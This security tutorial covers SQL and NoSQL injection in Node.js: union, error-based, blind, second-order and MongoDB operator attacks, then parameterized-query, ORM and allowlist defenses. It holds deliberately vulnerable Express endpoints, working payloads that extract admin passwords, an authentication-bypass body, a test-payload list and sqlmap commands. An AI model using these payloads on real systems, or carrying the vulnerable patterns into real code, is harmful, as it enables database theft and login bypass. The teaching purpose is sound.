SQL Injection in Node.js: From Basics to Blind
SQL injection remains the #1 database vulnerability in 2025. While Node.js frameworks like Express make building APIs fast, they don't automatically protect your database queries. OWASP's 2024 API Security Top 10 lists injection attacks as a persistent threat, and Node.js apps are prime targets.
This guide covers SQL injection techniques specific to the Node.js ecosystem—from basic attacks to blind exploitation—and the parameterized query patterns that actually work.
Why Node.js Apps Are Vulnerable
Node.js makes it easy to write vulnerable code. Template literals feel natural:
// VULNERABLE - Template literal injection
app.get('/users', async (req, res) => {
const { name } = req.query;
const result = await db.query(`SELECT * FROM users WHERE name = '${name}'`);
res.json(result.rows);
});This pattern appears everywhere—in tutorials, Stack Overflow answers, and production code. It's intuitive, but it's exactly what attackers exploit.
Attack Technique 1: Classic Union-Based Injection
The most straightforward SQL injection extracts data by appending a UNION query:
# Normal request
GET /users?name=alice
# Attack payload
GET /users?name=' UNION SELECT username, password, null FROM admin_users--How It Works
The injected query becomes:
SELECT * FROM users WHERE name = '' UNION SELECT username, password, null FROM admin_users--'The attacker:
- Closes the string with
' - Adds a UNION to select from another table
- Comments out the rest with
--
Node.js Example: Express + PostgreSQL
// VULNERABLE endpoint
app.get('/api/products', async (req, res) => {
const { category } = req.query;
// String concatenation = SQL injection
const query = "SELECT * FROM products WHERE category = '" + category + "'";
const result = await pool.query(query);
res.json(result.rows);
});
// Attack: category=' UNION SELECT table_name, null, null FROM information_schema.tables--
// Returns all table names in the databaseAttack Technique 2: Error-Based Injection
When UNION doesn't work (column mismatch, etc.), error messages can leak data:
// VULNERABLE - Errors exposed to client
app.get('/api/user/:id', async (req, res) => {
try {
const query = `SELECT * FROM users WHERE id = ${req.params.id}`;
const result = await pool.query(query);
res.json(result.rows[0]);
} catch (error) {
// Leaks database error messages!
res.status(500).json({ error: error.message });
}
});PostgreSQL Error Extraction
# Force a type conversion error that leaks data
GET /api/user/1 AND 1=CAST((SELECT password FROM users LIMIT 1) AS INT)
# Error message:
# invalid input syntax for type integer: "admin_password_123"MySQL Error Extraction
# extractvalue() technique
GET /api/user/1 AND extractvalue(1, CONCAT(0x7e, (SELECT password FROM users LIMIT 1)))
# Error message contains the passwordAttack Technique 3: Blind SQL Injection
When there's no visible output, attackers use conditional responses:
Boolean-Based Blind
// VULNERABLE - Different response for true/false conditions
app.get('/api/check-user', async (req, res) => {
const { username } = req.query;
const query = `SELECT * FROM users WHERE username = '${username}'`;
const result = await pool.query(query);
if (result.rows.length > 0) {
res.json({ exists: true });
} else {
res.json({ exists: false });
}
});Attack sequence to extract data character by character:
# Check if first character of admin password is 'a'
GET /api/check-user?username=' OR (SELECT SUBSTRING(password,1,1) FROM users WHERE username='admin')='a'--
# If response is {exists: true}, first char is 'a'
# If response is {exists: false}, try 'b', 'c', etc.Time-Based Blind
When even boolean responses are hidden:
# PostgreSQL - Delay if condition is true
GET /api/user?id=1; SELECT CASE WHEN (SELECT SUBSTRING(password,1,1) FROM users WHERE username='admin')='a' THEN pg_sleep(5) ELSE pg_sleep(0) END--
# MySQL
GET /api/user?id=1 AND IF((SELECT SUBSTRING(password,1,1) FROM users WHERE username='admin')='a', SLEEP(5), 0)--If the response takes 5 seconds, the condition is true.
Attack Technique 4: Second-Order Injection
Data is stored safely but used unsafely later:
// Step 1: Register with malicious username (safely stored)
app.post('/api/register', async (req, res) => {
const { username, email } = req.body;
// Uses parameterized query - safe!
await pool.query(
'INSERT INTO users (username, email) VALUES ($1, $2)',
[username, email]
);
res.json({ success: true });
});
// Step 2: Later, the username is used unsafely
app.get('/api/user-posts', async (req, res) => {
// Get current user's username from session
const result = await pool.query(
'SELECT username FROM users WHERE id = $1',
[req.session.userId]
);
const username = result.rows[0].username;
// VULNERABLE - Uses stored data without parameterization
const posts = await pool.query(
`SELECT * FROM posts WHERE author = '${username}'`
);
res.json(posts.rows);
});Attack: Register with username ' OR 1=1--, then view posts to see all posts in the system.
Node.js + MongoDB: NoSQL Injection
MongoDB isn't immune. Object injection attacks bypass authentication:
// VULNERABLE - Object injection
app.post('/api/login', async (req, res) => {
const { username, password } = req.body;
// If attacker sends: {"username": {"$gt": ""}, "password": {"$gt": ""}}
// This matches ANY user with ANY password!
const user = await db.collection('users').findOne({
username: username,
password: password
});
if (user) {
res.json({ success: true, token: generateToken(user) });
} else {
res.status(401).json({ error: 'Invalid credentials' });
}
});Attack Payload
{
"username": {"$gt": ""},
"password": {"$gt": ""}
}The $gt: "" operator matches any non-empty string, bypassing authentication entirely.
Defense: Parameterized Queries
PostgreSQL with node-postgres
// SAFE - Parameterized query with pg
import { Pool } from 'pg';
const pool = new Pool();
app.get('/api/users', async (req, res) => {
const { name } = req.query;
// $1 is a placeholder - value is passed separately
const result = await pool.query(
'SELECT * FROM users WHERE name = $1',
[name]
);
res.json(result.rows);
});
// Multiple parameters
app.get('/api/search', async (req, res) => {
const { name, minAge, maxAge } = req.query;
const result = await pool.query(
'SELECT * FROM users WHERE name ILIKE $1 AND age BETWEEN $2 AND $3',
[`%${name}%`, minAge, maxAge]
);
res.json(result.rows);
});MySQL with mysql2
// SAFE - Parameterized query with mysql2
import mysql from 'mysql2/promise';
const pool = mysql.createPool({
host: 'localhost',
user: 'root',
database: 'myapp'
});
app.get('/api/products', async (req, res) => {
const { category, minPrice } = req.query;
// ? placeholders with array of values
const [rows] = await pool.execute(
'SELECT * FROM products WHERE category = ? AND price >= ?',
[category, minPrice]
);
res.json(rows);
});MongoDB with Proper Validation
// SAFE - Type validation prevents operator injection
import { z } from 'zod';
const loginSchema = z.object({
username: z.string().min(1).max(50),
password: z.string().min(1).max(100)
});
app.post('/api/login', async (req, res) => {
// Validate and parse - ensures strings, not objects
const { username, password } = loginSchema.parse(req.body);
// Now safe - username and password are guaranteed strings
const user = await db.collection('users').findOne({
username: username,
password: hashPassword(password)
});
if (user) {
res.json({ success: true });
} else {
res.status(401).json({ error: 'Invalid credentials' });
}
});Defense: Query Builders and ORMs
Prisma (Recommended)
import { PrismaClient } from '@prisma/client';
const prisma = new PrismaClient();
// Prisma automatically parameterizes all queries
app.get('/api/users', async (req, res) => {
const { name, email } = req.query;
const users = await prisma.user.findMany({
where: {
name: { contains: name, mode: 'insensitive' },
email: { endsWith: email }
}
});
res.json(users);
});Drizzle ORM
import { drizzle } from 'drizzle-orm/node-postgres';
import { eq, and, gte } from 'drizzle-orm';
import { users } from './schema';
const db = drizzle(pool);
app.get('/api/users', async (req, res) => {
const { name, minAge } = req.query;
// Type-safe, parameterized queries
const result = await db
.select()
.from(users)
.where(and(
eq(users.name, name),
gte(users.age, parseInt(minAge))
));
res.json(result);
});Knex.js
import knex from 'knex';
const db = knex({ client: 'pg', connection: process.env.DATABASE_URL });
app.get('/api/products', async (req, res) => {
const { category, search } = req.query;
// Query builder parameterizes automatically
const products = await db('products')
.where('category', category)
.where('name', 'ilike', `%${search}%`)
.orderBy('created_at', 'desc');
res.json(products);
});Dynamic Queries: The Dangerous Pattern
Sometimes you need dynamic column names or table names. Parameterization doesn't help here:
// VULNERABLE - Can't parameterize column names
app.get('/api/sort', async (req, res) => {
const { sortBy } = req.query;
// This doesn't work: SELECT * FROM users ORDER BY $1
// $1 would be treated as a string literal, not a column name
const result = await pool.query(
`SELECT * FROM users ORDER BY ${sortBy}` // VULNERABLE!
);
res.json(result.rows);
});Safe Pattern: Allowlisting
const ALLOWED_SORT_COLUMNS = ['name', 'email', 'created_at', 'updated_at'];
const ALLOWED_DIRECTIONS = ['ASC', 'DESC'];
app.get('/api/users', async (req, res) => {
const { sortBy = 'created_at', order = 'DESC' } = req.query;
// Validate against allowlist
if (!ALLOWED_SORT_COLUMNS.includes(sortBy)) {
return res.status(400).json({ error: 'Invalid sort column' });
}
if (!ALLOWED_DIRECTIONS.includes(order.toUpperCase())) {
return res.status(400).json({ error: 'Invalid sort direction' });
}
// Safe to use - value is from controlled allowlist
const result = await pool.query(
`SELECT * FROM users ORDER BY ${sortBy} ${order.toUpperCase()}`
);
res.json(result.rows);
});Testing Your Node.js App
Manual Testing Payloads
# Basic injection test
' OR '1'='1
' OR 1=1--
" OR ""="
# Union-based
' UNION SELECT null--
' UNION SELECT null, null--
' UNION SELECT null, null, null--
# Error-based (PostgreSQL)
' AND 1=CAST((SELECT version()) AS INT)--
# Time-based
'; SELECT pg_sleep(5)--
' AND (SELECT SLEEP(5))--
# Comment variations
'--
'#
'/*Automated Testing with sqlmap
# Test a GET parameter
sqlmap -u "http://localhost:3000/api/users?name=test" --dbs
# Test a POST parameter
sqlmap -u "http://localhost:3000/api/login" --data="username=admin&password=test" --dbs
# Test with JSON body
sqlmap -u "http://localhost:3000/api/search" --data='{"query":"test"}' --headers="Content-Type: application/json"SQL Injection Prevention Checklist
Query Construction
- [ ] Use parameterized queries for ALL user input
- [ ] Use an ORM (Prisma, Drizzle) when possible
- [ ] Allowlist dynamic column/table names
- [ ] Never concatenate user input into queries
Input Validation
- [ ] Validate input types with Zod or similar
- [ ] Enforce maximum input lengths
- [ ] Reject unexpected object types (MongoDB)
Error Handling
- [ ] Never expose database errors to clients
- [ ] Log errors server-side for debugging
- [ ] Return generic error messages
Database Configuration
- [ ] Use least-privilege database accounts
- [ ] Disable unnecessary database features
- [ ] Keep database drivers updated
Testing
- [ ] Include SQL injection tests in CI/CD
- [ ] Run sqlmap against staging environments
- [ ] Review all raw SQL queries in code reviews
Practice SQL Injection
Understanding SQL injection from the attacker's perspective helps you write better defenses. Try our SQL injection challenges to practice these techniques in a safe environment.
---
SQL injection techniques evolve with database features. This guide will be updated as new attack patterns emerge. Last updated: December 2025.
Stay ahead of vulnerabilities
Weekly security insights, new challenges, and practical tips. No spam.
Unsubscribe anytime. No spam, ever.